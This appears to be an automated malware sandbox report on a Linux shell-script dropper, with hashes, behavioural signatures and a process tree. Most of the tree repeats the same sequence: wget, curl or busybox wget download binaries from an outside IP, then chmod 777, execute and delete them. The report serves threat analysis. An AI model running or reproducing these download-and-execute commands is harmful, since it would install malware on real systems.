7a620d7381a5ef88f64ade5b1c27db231ef9df8d75795de3b1fb3c45382b5b0e

Analysis

max time kernel
38s
max time network
74s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
08/11/2024, 03:07

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
7a620d7381a5ef88f64ade5b1c27db231ef9df8d75795de3b1fb3c45382b5b0e.sh
Size 10KB
Sample241108-dmlevswphj
SHA256 7a620d7381a5ef88f64ade5b1c27db231ef9df8d75795de3b1fb3c45382b5b0e
MD5 537340669519cf5516bad109b8620b9d
SHA1 7193a11d35a3afc922db3777c99ee3f7e1ac79c1
SHA512 3804b241461a637f6c1d3423bc5177b84769f29e560007679c5970dac3ea6f8dc54f8ea137fa1691da5ac861b5c1eaabf70ef40619832ced769aedebe11150cd
SSDEEP 192:8sZ42kcyuinTgXH3Wy8ETSwYyJtjwYyJtm4Z42kZuilXH3Wyb:dNyuinTgXH3Wy8ETSwYyJtjwYyJtB8uQ
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

antivm defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 23 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
800	chmod
850	chmod
891	chmod
897	chmod
764	chmod
862	chmod
868	chmod
879	chmod
903	chmod
909	chmod
838	chmod
708	chmod
750	chmod
824	chmod
830	chmod
844	chmod
693	chmod
806	chmod
812	chmod
818	chmod
856	chmod
885	chmod
794	chmod

Executes dropped EXE 23 IoCs

Checks CPU configuration 1 TTPs 23 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 46 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl

Writes file to tmp directory 23 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/fISq9ae7joGqNmtqnv0enKKyZi9qYX2SWn	curl
File opened for modification	/tmp/z2KrZB3uZFQCZjOKmzsyziTCMGRoWHv2dl	curl
File opened for modification	/tmp/wgIFx2cQDklerWYwwPo0S2iJPXZZFz8R4f	curl
File opened for modification	/tmp/yE9tT1O3VyDw66eQJJJUDBfIF6M6J2Lokf	curl
File opened for modification	/tmp/kfjDGrQn2fnT51PcUOuycSrMAacMbKPHQ9	curl
File opened for modification	/tmp/MM24ACXXHQd6U6jHTA2S4GdTaooqTpJkVf	curl
File opened for modification	/tmp/RAwqSlxUYzAuFk61IqPSG8vdYzSZDPYURF	curl
File opened for modification	/tmp/5vnYsS5eMc7h5SlOttXd3nvxweRFRur6Aj	curl
File opened for modification	/tmp/hl33UCrzoeH7juz27FwvkBCILjQE3cT3xh	curl
File opened for modification	/tmp/kfjDGrQn2fnT51PcUOuycSrMAacMbKPHQ9	curl
File opened for modification	/tmp/yXl0N9sofm5zFNYbDCb1bMI1iVPw9zPCDf	curl
File opened for modification	/tmp/yXl0N9sofm5zFNYbDCb1bMI1iVPw9zPCDf	curl
File opened for modification	/tmp/z2KrZB3uZFQCZjOKmzsyziTCMGRoWHv2dl	curl
File opened for modification	/tmp/wgIFx2cQDklerWYwwPo0S2iJPXZZFz8R4f	curl
File opened for modification	/tmp/yE9tT1O3VyDw66eQJJJUDBfIF6M6J2Lokf	curl
File opened for modification	/tmp/gHnckyxjHU7eriUJ6hFrUn6IEK9QGabLmj	curl
File opened for modification	/tmp/hl33UCrzoeH7juz27FwvkBCILjQE3cT3xh	curl
File opened for modification	/tmp/43AsGf8JbQK8tP21xQxgGyiKfnGS1F5jxN	curl
File opened for modification	/tmp/43AsGf8JbQK8tP21xQxgGyiKfnGS1F5jxN	curl
File opened for modification	/tmp/ZvK2coF9klmuo1a1fEdteAztKmSqZavHmG	curl
File opened for modification	/tmp/fISq9ae7joGqNmtqnv0enKKyZi9qYX2SWn	curl
File opened for modification	/tmp/7w93mwfE71Ry2JYlP7lg030oxgiknePIHZ	curl
File opened for modification	/tmp/7w93mwfE71Ry2JYlP7lg030oxgiknePIHZ	curl

/tmp/7a620d7381a5ef88f64ade5b1c27db231ef9df8d75795de3b1fb3c45382b5b0e.sh
/tmp/7a620d7381a5ef88f64ade5b1c27db231ef9df8d75795de3b1fb3c45382b5b0e.sh
1⤵
PID:662
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:664
- /usr/bin/wget
  wget http://216.126.231.240/bins/yXl0N9sofm5zFNYbDCb1bMI1iVPw9zPCDf
  2⤵
  PID:669
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/yXl0N9sofm5zFNYbDCb1bMI1iVPw9zPCDf
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:684
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/yXl0N9sofm5zFNYbDCb1bMI1iVPw9zPCDf
  2⤵
  PID:691
- /bin/chmod
  chmod 777 yXl0N9sofm5zFNYbDCb1bMI1iVPw9zPCDf
  2⤵
  - File and Directory Permissions Modification
  PID:693
- /tmp/yXl0N9sofm5zFNYbDCb1bMI1iVPw9zPCDf
  ./yXl0N9sofm5zFNYbDCb1bMI1iVPw9zPCDf
  2⤵
  - Executes dropped EXE
  PID:694
- /bin/rm
  rm yXl0N9sofm5zFNYbDCb1bMI1iVPw9zPCDf
  2⤵
  PID:695
- /usr/bin/wget
  wget http://216.126.231.240/bins/43AsGf8JbQK8tP21xQxgGyiKfnGS1F5jxN
  2⤵
  PID:696
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/43AsGf8JbQK8tP21xQxgGyiKfnGS1F5jxN
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:697
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/43AsGf8JbQK8tP21xQxgGyiKfnGS1F5jxN
  2⤵
  PID:702
- /bin/chmod
  chmod 777 43AsGf8JbQK8tP21xQxgGyiKfnGS1F5jxN
  2⤵
  - File and Directory Permissions Modification
  PID:708
- /tmp/43AsGf8JbQK8tP21xQxgGyiKfnGS1F5jxN
  ./43AsGf8JbQK8tP21xQxgGyiKfnGS1F5jxN
  2⤵
  - Executes dropped EXE
  PID:710
- /bin/rm
  rm 43AsGf8JbQK8tP21xQxgGyiKfnGS1F5jxN
  2⤵
  PID:711
- /usr/bin/wget
  wget http://216.126.231.240/bins/z2KrZB3uZFQCZjOKmzsyziTCMGRoWHv2dl
  2⤵
  PID:712
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/z2KrZB3uZFQCZjOKmzsyziTCMGRoWHv2dl
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:721
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/z2KrZB3uZFQCZjOKmzsyziTCMGRoWHv2dl
  2⤵
  PID:747
- /bin/chmod
  chmod 777 z2KrZB3uZFQCZjOKmzsyziTCMGRoWHv2dl
  2⤵
  - File and Directory Permissions Modification
  PID:750
- /tmp/z2KrZB3uZFQCZjOKmzsyziTCMGRoWHv2dl
  ./z2KrZB3uZFQCZjOKmzsyziTCMGRoWHv2dl
  2⤵
  - Executes dropped EXE
  PID:751
- /bin/rm
  rm z2KrZB3uZFQCZjOKmzsyziTCMGRoWHv2dl
  2⤵
  PID:752
- /usr/bin/wget
  wget http://216.126.231.240/bins/7w93mwfE71Ry2JYlP7lg030oxgiknePIHZ
  2⤵
  PID:753
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/7w93mwfE71Ry2JYlP7lg030oxgiknePIHZ
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:754
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/7w93mwfE71Ry2JYlP7lg030oxgiknePIHZ
  2⤵
  PID:758
- /bin/chmod
  chmod 777 7w93mwfE71Ry2JYlP7lg030oxgiknePIHZ
  2⤵
  - File and Directory Permissions Modification
  PID:764
- /tmp/7w93mwfE71Ry2JYlP7lg030oxgiknePIHZ
  ./7w93mwfE71Ry2JYlP7lg030oxgiknePIHZ
  2⤵
  - Executes dropped EXE
  PID:765
- /bin/rm
  rm 7w93mwfE71Ry2JYlP7lg030oxgiknePIHZ
  2⤵
  PID:766
- /usr/bin/wget
  wget http://216.126.231.240/bins/MM24ACXXHQd6U6jHTA2S4GdTaooqTpJkVf
  2⤵
  PID:768
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/MM24ACXXHQd6U6jHTA2S4GdTaooqTpJkVf
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:776
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/MM24ACXXHQd6U6jHTA2S4GdTaooqTpJkVf
  2⤵
  PID:788
- /bin/chmod
  chmod 777 MM24ACXXHQd6U6jHTA2S4GdTaooqTpJkVf
  2⤵
  - File and Directory Permissions Modification
  PID:794
- /tmp/MM24ACXXHQd6U6jHTA2S4GdTaooqTpJkVf
  ./MM24ACXXHQd6U6jHTA2S4GdTaooqTpJkVf
  2⤵
  - Executes dropped EXE
  PID:795
- /bin/rm
  rm MM24ACXXHQd6U6jHTA2S4GdTaooqTpJkVf
  2⤵
  PID:796
- /usr/bin/wget
  wget http://216.126.231.240/bins/wgIFx2cQDklerWYwwPo0S2iJPXZZFz8R4f
  2⤵
  PID:797
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/wgIFx2cQDklerWYwwPo0S2iJPXZZFz8R4f
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:798
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/wgIFx2cQDklerWYwwPo0S2iJPXZZFz8R4f
  2⤵
  PID:799
- /bin/chmod
  chmod 777 wgIFx2cQDklerWYwwPo0S2iJPXZZFz8R4f
  2⤵
  - File and Directory Permissions Modification
  PID:800
- /tmp/wgIFx2cQDklerWYwwPo0S2iJPXZZFz8R4f
  ./wgIFx2cQDklerWYwwPo0S2iJPXZZFz8R4f
  2⤵
  - Executes dropped EXE
  PID:801
- /bin/rm
  rm wgIFx2cQDklerWYwwPo0S2iJPXZZFz8R4f
  2⤵
  PID:802
- /usr/bin/wget
  wget http://216.126.231.240/bins/yE9tT1O3VyDw66eQJJJUDBfIF6M6J2Lokf
  2⤵
  PID:803
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/yE9tT1O3VyDw66eQJJJUDBfIF6M6J2Lokf
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:804
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/yE9tT1O3VyDw66eQJJJUDBfIF6M6J2Lokf
  2⤵
  PID:805
- /bin/chmod
  chmod 777 yE9tT1O3VyDw66eQJJJUDBfIF6M6J2Lokf
  2⤵
  - File and Directory Permissions Modification
  PID:806
- /tmp/yE9tT1O3VyDw66eQJJJUDBfIF6M6J2Lokf
  ./yE9tT1O3VyDw66eQJJJUDBfIF6M6J2Lokf
  2⤵
  - Executes dropped EXE
  PID:807
- /bin/rm
  rm yE9tT1O3VyDw66eQJJJUDBfIF6M6J2Lokf
  2⤵
  PID:808
- /usr/bin/wget
  wget http://216.126.231.240/bins/gHnckyxjHU7eriUJ6hFrUn6IEK9QGabLmj
  2⤵
  PID:809
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/gHnckyxjHU7eriUJ6hFrUn6IEK9QGabLmj
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:810
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/gHnckyxjHU7eriUJ6hFrUn6IEK9QGabLmj
  2⤵
  PID:811
- /bin/chmod
  chmod 777 gHnckyxjHU7eriUJ6hFrUn6IEK9QGabLmj
  2⤵
  - File and Directory Permissions Modification
  PID:812
- /tmp/gHnckyxjHU7eriUJ6hFrUn6IEK9QGabLmj
  ./gHnckyxjHU7eriUJ6hFrUn6IEK9QGabLmj
  2⤵
  - Executes dropped EXE
  PID:813
- /bin/rm
  rm gHnckyxjHU7eriUJ6hFrUn6IEK9QGabLmj
  2⤵
  PID:814
- /usr/bin/wget
  wget http://216.126.231.240/bins/RAwqSlxUYzAuFk61IqPSG8vdYzSZDPYURF
  2⤵
  PID:815
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/RAwqSlxUYzAuFk61IqPSG8vdYzSZDPYURF
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:816
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/RAwqSlxUYzAuFk61IqPSG8vdYzSZDPYURF
  2⤵
  PID:817
- /bin/chmod
  chmod 777 RAwqSlxUYzAuFk61IqPSG8vdYzSZDPYURF
  2⤵
  - File and Directory Permissions Modification
  PID:818
- /tmp/RAwqSlxUYzAuFk61IqPSG8vdYzSZDPYURF
  ./RAwqSlxUYzAuFk61IqPSG8vdYzSZDPYURF
  2⤵
  - Executes dropped EXE
  PID:819
- /bin/rm
  rm RAwqSlxUYzAuFk61IqPSG8vdYzSZDPYURF
  2⤵
  PID:820
- /usr/bin/wget
  wget http://216.126.231.240/bins/5vnYsS5eMc7h5SlOttXd3nvxweRFRur6Aj
  2⤵
  PID:821
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/5vnYsS5eMc7h5SlOttXd3nvxweRFRur6Aj
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:822
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/5vnYsS5eMc7h5SlOttXd3nvxweRFRur6Aj
  2⤵
  PID:823
- /bin/chmod
  chmod 777 5vnYsS5eMc7h5SlOttXd3nvxweRFRur6Aj
  2⤵
  - File and Directory Permissions Modification
  PID:824
- /tmp/5vnYsS5eMc7h5SlOttXd3nvxweRFRur6Aj
  ./5vnYsS5eMc7h5SlOttXd3nvxweRFRur6Aj
  2⤵
  - Executes dropped EXE
  PID:825
- /bin/rm
  rm 5vnYsS5eMc7h5SlOttXd3nvxweRFRur6Aj
  2⤵
  PID:826
- /usr/bin/wget
  wget http://216.126.231.240/bins/ZvK2coF9klmuo1a1fEdteAztKmSqZavHmG
  2⤵
  PID:827
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/ZvK2coF9klmuo1a1fEdteAztKmSqZavHmG
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:828
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/ZvK2coF9klmuo1a1fEdteAztKmSqZavHmG
  2⤵
  PID:829
- /bin/chmod
  chmod 777 ZvK2coF9klmuo1a1fEdteAztKmSqZavHmG
  2⤵
  - File and Directory Permissions Modification
  PID:830
- /tmp/ZvK2coF9klmuo1a1fEdteAztKmSqZavHmG
  ./ZvK2coF9klmuo1a1fEdteAztKmSqZavHmG
  2⤵
  - Executes dropped EXE
  PID:831
- /bin/rm
  rm ZvK2coF9klmuo1a1fEdteAztKmSqZavHmG
  2⤵
  PID:832
- /usr/bin/wget
  wget http://216.126.231.240/bins/hl33UCrzoeH7juz27FwvkBCILjQE3cT3xh
  2⤵
  PID:833
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/hl33UCrzoeH7juz27FwvkBCILjQE3cT3xh
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:834
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/hl33UCrzoeH7juz27FwvkBCILjQE3cT3xh
  2⤵
  PID:836
- /bin/chmod
  chmod 777 hl33UCrzoeH7juz27FwvkBCILjQE3cT3xh
  2⤵
  - File and Directory Permissions Modification
  PID:838
- /tmp/hl33UCrzoeH7juz27FwvkBCILjQE3cT3xh
  ./hl33UCrzoeH7juz27FwvkBCILjQE3cT3xh
  2⤵
  - Executes dropped EXE
  PID:839
- /bin/rm
  rm hl33UCrzoeH7juz27FwvkBCILjQE3cT3xh
  2⤵
  PID:840
- /usr/bin/wget
  wget http://216.126.231.240/bins/kfjDGrQn2fnT51PcUOuycSrMAacMbKPHQ9
  2⤵
  PID:841
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/kfjDGrQn2fnT51PcUOuycSrMAacMbKPHQ9
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:842
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/kfjDGrQn2fnT51PcUOuycSrMAacMbKPHQ9
  2⤵
  PID:843
- /bin/chmod
  chmod 777 kfjDGrQn2fnT51PcUOuycSrMAacMbKPHQ9
  2⤵
  - File and Directory Permissions Modification
  PID:844
- /tmp/kfjDGrQn2fnT51PcUOuycSrMAacMbKPHQ9
  ./kfjDGrQn2fnT51PcUOuycSrMAacMbKPHQ9
  2⤵
  - Executes dropped EXE
  PID:845
- /bin/rm
  rm kfjDGrQn2fnT51PcUOuycSrMAacMbKPHQ9
  2⤵
  PID:846
- /usr/bin/wget
  wget http://216.126.231.240/bins/fISq9ae7joGqNmtqnv0enKKyZi9qYX2SWn
  2⤵
  PID:847
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/fISq9ae7joGqNmtqnv0enKKyZi9qYX2SWn
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:848
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/fISq9ae7joGqNmtqnv0enKKyZi9qYX2SWn
  2⤵
  PID:849
- /bin/chmod
  chmod 777 fISq9ae7joGqNmtqnv0enKKyZi9qYX2SWn
  2⤵
  - File and Directory Permissions Modification
  PID:850
- /tmp/fISq9ae7joGqNmtqnv0enKKyZi9qYX2SWn
  ./fISq9ae7joGqNmtqnv0enKKyZi9qYX2SWn
  2⤵
  - Executes dropped EXE
  PID:851
- /bin/rm
  rm fISq9ae7joGqNmtqnv0enKKyZi9qYX2SWn
  2⤵
  PID:852
- /usr/bin/wget
  wget http://216.126.231.240/bins/kfjDGrQn2fnT51PcUOuycSrMAacMbKPHQ9
  2⤵
  PID:853
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/kfjDGrQn2fnT51PcUOuycSrMAacMbKPHQ9
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:854
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/kfjDGrQn2fnT51PcUOuycSrMAacMbKPHQ9
  2⤵
  PID:855
- /bin/chmod
  chmod 777 kfjDGrQn2fnT51PcUOuycSrMAacMbKPHQ9
  2⤵
  - File and Directory Permissions Modification
  PID:856
- /tmp/kfjDGrQn2fnT51PcUOuycSrMAacMbKPHQ9
  ./kfjDGrQn2fnT51PcUOuycSrMAacMbKPHQ9
  2⤵
  - Executes dropped EXE
  PID:857
- /bin/rm
  rm kfjDGrQn2fnT51PcUOuycSrMAacMbKPHQ9
  2⤵
  PID:858
- /usr/bin/wget
  wget http://216.126.231.240/bins/fISq9ae7joGqNmtqnv0enKKyZi9qYX2SWn
  2⤵
  PID:859
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/fISq9ae7joGqNmtqnv0enKKyZi9qYX2SWn
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:860
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/fISq9ae7joGqNmtqnv0enKKyZi9qYX2SWn
  2⤵
  PID:861
- /bin/chmod
  chmod 777 fISq9ae7joGqNmtqnv0enKKyZi9qYX2SWn
  2⤵
  - File and Directory Permissions Modification
  PID:862
- /tmp/fISq9ae7joGqNmtqnv0enKKyZi9qYX2SWn
  ./fISq9ae7joGqNmtqnv0enKKyZi9qYX2SWn
  2⤵
  - Executes dropped EXE
  PID:863
- /bin/rm
  rm fISq9ae7joGqNmtqnv0enKKyZi9qYX2SWn
  2⤵
  PID:864
- /usr/bin/wget
  wget http://216.126.231.240/bins/hl33UCrzoeH7juz27FwvkBCILjQE3cT3xh
  2⤵
  PID:865
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/hl33UCrzoeH7juz27FwvkBCILjQE3cT3xh
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:866
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/hl33UCrzoeH7juz27FwvkBCILjQE3cT3xh
  2⤵
  PID:867
- /bin/chmod
  chmod 777 hl33UCrzoeH7juz27FwvkBCILjQE3cT3xh
  2⤵
  - File and Directory Permissions Modification
  PID:868
- /tmp/hl33UCrzoeH7juz27FwvkBCILjQE3cT3xh
  ./hl33UCrzoeH7juz27FwvkBCILjQE3cT3xh
  2⤵
  - Executes dropped EXE
  PID:869
- /bin/rm
  rm hl33UCrzoeH7juz27FwvkBCILjQE3cT3xh
  2⤵
  PID:870
- /usr/bin/wget
  wget http://216.126.231.240/bins/43AsGf8JbQK8tP21xQxgGyiKfnGS1F5jxN
  2⤵
  PID:871
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/43AsGf8JbQK8tP21xQxgGyiKfnGS1F5jxN
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:872
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/43AsGf8JbQK8tP21xQxgGyiKfnGS1F5jxN
  2⤵
  PID:876
- /bin/chmod
  chmod 777 43AsGf8JbQK8tP21xQxgGyiKfnGS1F5jxN
  2⤵
  - File and Directory Permissions Modification
  PID:879
- /tmp/43AsGf8JbQK8tP21xQxgGyiKfnGS1F5jxN
  ./43AsGf8JbQK8tP21xQxgGyiKfnGS1F5jxN
  2⤵
  - Executes dropped EXE
  PID:880
- /bin/rm
  rm 43AsGf8JbQK8tP21xQxgGyiKfnGS1F5jxN
  2⤵
  PID:881
- /usr/bin/wget
  wget http://216.126.231.240/bins/z2KrZB3uZFQCZjOKmzsyziTCMGRoWHv2dl
  2⤵
  PID:882
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/z2KrZB3uZFQCZjOKmzsyziTCMGRoWHv2dl
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:883
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/z2KrZB3uZFQCZjOKmzsyziTCMGRoWHv2dl
  2⤵
  PID:884
- /bin/chmod
  chmod 777 z2KrZB3uZFQCZjOKmzsyziTCMGRoWHv2dl
  2⤵
  - File and Directory Permissions Modification
  PID:885
- /tmp/z2KrZB3uZFQCZjOKmzsyziTCMGRoWHv2dl
  ./z2KrZB3uZFQCZjOKmzsyziTCMGRoWHv2dl
  2⤵
  - Executes dropped EXE
  PID:886
- /bin/rm
  rm z2KrZB3uZFQCZjOKmzsyziTCMGRoWHv2dl
  2⤵
  PID:887
- /usr/bin/wget
  wget http://216.126.231.240/bins/7w93mwfE71Ry2JYlP7lg030oxgiknePIHZ
  2⤵
  PID:888
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/7w93mwfE71Ry2JYlP7lg030oxgiknePIHZ
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:889
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/7w93mwfE71Ry2JYlP7lg030oxgiknePIHZ
  2⤵
  PID:890
- /bin/chmod
  chmod 777 7w93mwfE71Ry2JYlP7lg030oxgiknePIHZ
  2⤵
  - File and Directory Permissions Modification
  PID:891
- /tmp/7w93mwfE71Ry2JYlP7lg030oxgiknePIHZ
  ./7w93mwfE71Ry2JYlP7lg030oxgiknePIHZ
  2⤵
  - Executes dropped EXE
  PID:892
- /bin/rm
  rm 7w93mwfE71Ry2JYlP7lg030oxgiknePIHZ
  2⤵
  PID:893
- /usr/bin/wget
  wget http://216.126.231.240/bins/yXl0N9sofm5zFNYbDCb1bMI1iVPw9zPCDf
  2⤵
  PID:894
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/yXl0N9sofm5zFNYbDCb1bMI1iVPw9zPCDf
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:895
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/yXl0N9sofm5zFNYbDCb1bMI1iVPw9zPCDf
  2⤵
  PID:896
- /bin/chmod
  chmod 777 yXl0N9sofm5zFNYbDCb1bMI1iVPw9zPCDf
  2⤵
  - File and Directory Permissions Modification
  PID:897
- /tmp/yXl0N9sofm5zFNYbDCb1bMI1iVPw9zPCDf
  ./yXl0N9sofm5zFNYbDCb1bMI1iVPw9zPCDf
  2⤵
  - Executes dropped EXE
  PID:898
- /bin/rm
  rm yXl0N9sofm5zFNYbDCb1bMI1iVPw9zPCDf
  2⤵
  PID:899
- /usr/bin/wget
  wget http://216.126.231.240/bins/wgIFx2cQDklerWYwwPo0S2iJPXZZFz8R4f
  2⤵
  PID:900
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/wgIFx2cQDklerWYwwPo0S2iJPXZZFz8R4f
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:901
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/wgIFx2cQDklerWYwwPo0S2iJPXZZFz8R4f
  2⤵
  PID:902
- /bin/chmod
  chmod 777 wgIFx2cQDklerWYwwPo0S2iJPXZZFz8R4f
  2⤵
  - File and Directory Permissions Modification
  PID:903
- /tmp/wgIFx2cQDklerWYwwPo0S2iJPXZZFz8R4f
  ./wgIFx2cQDklerWYwwPo0S2iJPXZZFz8R4f
  2⤵
  - Executes dropped EXE
  PID:904
- /bin/rm
  rm wgIFx2cQDklerWYwwPo0S2iJPXZZFz8R4f
  2⤵
  PID:905
- /usr/bin/wget
  wget http://216.126.231.240/bins/yE9tT1O3VyDw66eQJJJUDBfIF6M6J2Lokf
  2⤵
  PID:906
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/yE9tT1O3VyDw66eQJJJUDBfIF6M6J2Lokf
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:907
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/yE9tT1O3VyDw66eQJJJUDBfIF6M6J2Lokf
  2⤵
  PID:908
- /bin/chmod
  chmod 777 yE9tT1O3VyDw66eQJJJUDBfIF6M6J2Lokf
  2⤵
  - File and Directory Permissions Modification
  PID:909
- /tmp/yE9tT1O3VyDw66eQJJJUDBfIF6M6J2Lokf
